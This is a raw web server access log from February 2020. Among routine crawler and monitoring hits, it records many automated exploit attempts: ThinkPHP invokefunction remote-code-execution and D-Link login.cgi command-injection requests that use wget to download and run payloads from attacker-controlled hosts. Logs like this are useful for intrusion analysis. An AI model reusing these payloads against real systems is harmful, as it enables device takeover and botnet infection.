2.90.200.28 - - [12/Feb/2020:04:57:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
95.9.207.130 - - [12/Feb/2020:04:57:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.31.174 - - [12/Feb/2020:04:59:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
148.251.125.12 - - [12/Feb/2020:05:01:31 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
148.251.125.12 - - [12/Feb/2020:05:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
216.145.11.94 - - [12/Feb/2020:05:01:59 +0100] "GET /robots.txt HTTP/1.0" 404 328 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
216.145.11.94 - - [12/Feb/2020:05:02:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
45.171.56.34 - - [12/Feb/2020:05:04:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.75.43 - - [12/Feb/2020:05:05:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.76.93.130 - - [12/Feb/2020:05:05:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
34.67.90.103 - - [12/Feb/2020:05:07:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.100.130.241 - - [12/Feb/2020:05:10:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:05:16:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:05:16:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:05:16:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:05:16:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:05:16:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.48.174 - - [12/Feb/2020:05:19:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.35.75.217 - - [12/Feb/2020:05:25:26 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 327 "-" "ApiTool"
194.113.164.45 - - [12/Feb/2020:05:27:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.105.248 - - [12/Feb/2020:05:29:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.200.53.54 - - [12/Feb/2020:05:30:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.22.166.89 - - [12/Feb/2020:05:30:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.54.10.169 - - [12/Feb/2020:05:32:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.112.100.21 - - [12/Feb/2020:05:32:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.243.51.209 - - [12/Feb/2020:05:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.85.91.19 - - [12/Feb/2020:05:38:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.6.204 - - [12/Feb/2020:05:40:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.180.224.249 - - [12/Feb/2020:05:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
82.160.150.92 - - [12/Feb/2020:05:44:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.47.207.57 - - [12/Feb/2020:05:46:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.112.55.176 - - [12/Feb/2020:05:49:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.180.224.249 - - [12/Feb/2020:05:50:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
42.117.241.19 - - [12/Feb/2020:05:51:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.17.175 - - [12/Feb/2020:05:51:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.81.139.133 - - [12/Feb/2020:05:53:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.81.35.207 - - [12/Feb/2020:05:54:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
201.150.150.184 - - [12/Feb/2020:05:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
167.172.97.0 - - [12/Feb/2020:06:01:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
5.188.210.101 - - [12/Feb/2020:06:01:17 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [12/Feb/2020:06:02:33 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
177.205.27.181 - - [12/Feb/2020:06:03:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.53.101.95 - - [12/Feb/2020:06:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.4.252 - - [12/Feb/2020:06:03:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.107.37.122 - - [12/Feb/2020:06:03:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.251.205.234 - - [12/Feb/2020:06:03:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.25.156 - - [12/Feb/2020:06:05:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.117.64.202 - - [12/Feb/2020:06:04:58 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
95.84.136.64 - - [12/Feb/2020:06:05:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.214.238 - - [12/Feb/2020:06:07:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [12/Feb/2020:06:09:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.58.20.214 - - [12/Feb/2020:06:14:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.75.126.13 - - [12/Feb/2020:06:14:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.118.149.94 - - [12/Feb/2020:06:14:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.4.86.47 - - [12/Feb/2020:06:18:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [12/Feb/2020:06:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
190.133.20.241 - - [12/Feb/2020:06:19:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.67.96.143 - - [12/Feb/2020:06:19:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
116.196.98.78 - - [12/Feb/2020:06:21:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.198.206 - - [12/Feb/2020:06:21:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.0.165.43 - - [12/Feb/2020:06:23:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.12.131.156 - - [12/Feb/2020:06:24:11 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:11 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:12 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:13 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:13 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:14 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.131.156 - - [12/Feb/2020:06:24:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.117.20.128 - - [12/Feb/2020:06:26:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.9.148.211 - - [12/Feb/2020:06:26:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.180.86.47 - - [12/Feb/2020:06:26:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
65.99.152.25 - - [12/Feb/2020:06:27:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.99.158.109 - - [12/Feb/2020:06:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.69.216.48 - - [12/Feb/2020:06:29:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
152.136.157.215 - - [12/Feb/2020:06:34:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.54.9.67 - - [12/Feb/2020:06:35:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.76.187.183 - - [12/Feb/2020:06:37:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.80 - - [12/Feb/2020:06:39:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.196.241 - - [12/Feb/2020:06:41:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.230.170.106 - - [12/Feb/2020:06:46:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.108.146 - - [12/Feb/2020:06:47:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
159.147.82.202 - - [12/Feb/2020:06:49:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.170.156.93 - - [12/Feb/2020:06:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.170.156.93 - - [12/Feb/2020:06:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
178.170.156.93 - - [12/Feb/2020:06:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.146.76 - - [12/Feb/2020:06:51:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.196.98.78 - - [12/Feb/2020:06:54:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.88.27.34 - - [12/Feb/2020:06:57:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.224.5 - - [12/Feb/2020:06:58:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.117.198.174 - - [12/Feb/2020:07:00:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:07:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:07:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.67 - - [12/Feb/2020:07:03:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [12/Feb/2020:07:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [12/Feb/2020:07:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.11.76.45 - - [12/Feb/2020:07:04:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.11.76.45 - - [12/Feb/2020:07:04:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.11.76.45 - - [12/Feb/2020:07:04:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.11.76.45 - - [12/Feb/2020:07:04:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.141.167.35 - - [12/Feb/2020:07:04:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:07:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.43.209 - - [12/Feb/2020:07:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.129.67 - - [12/Feb/2020:07:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [12/Feb/2020:07:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [12/Feb/2020:07:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [12/Feb/2020:07:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.6.186.134 - - [12/Feb/2020:07:06:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:07:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.129.67 - - [12/Feb/2020:07:07:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
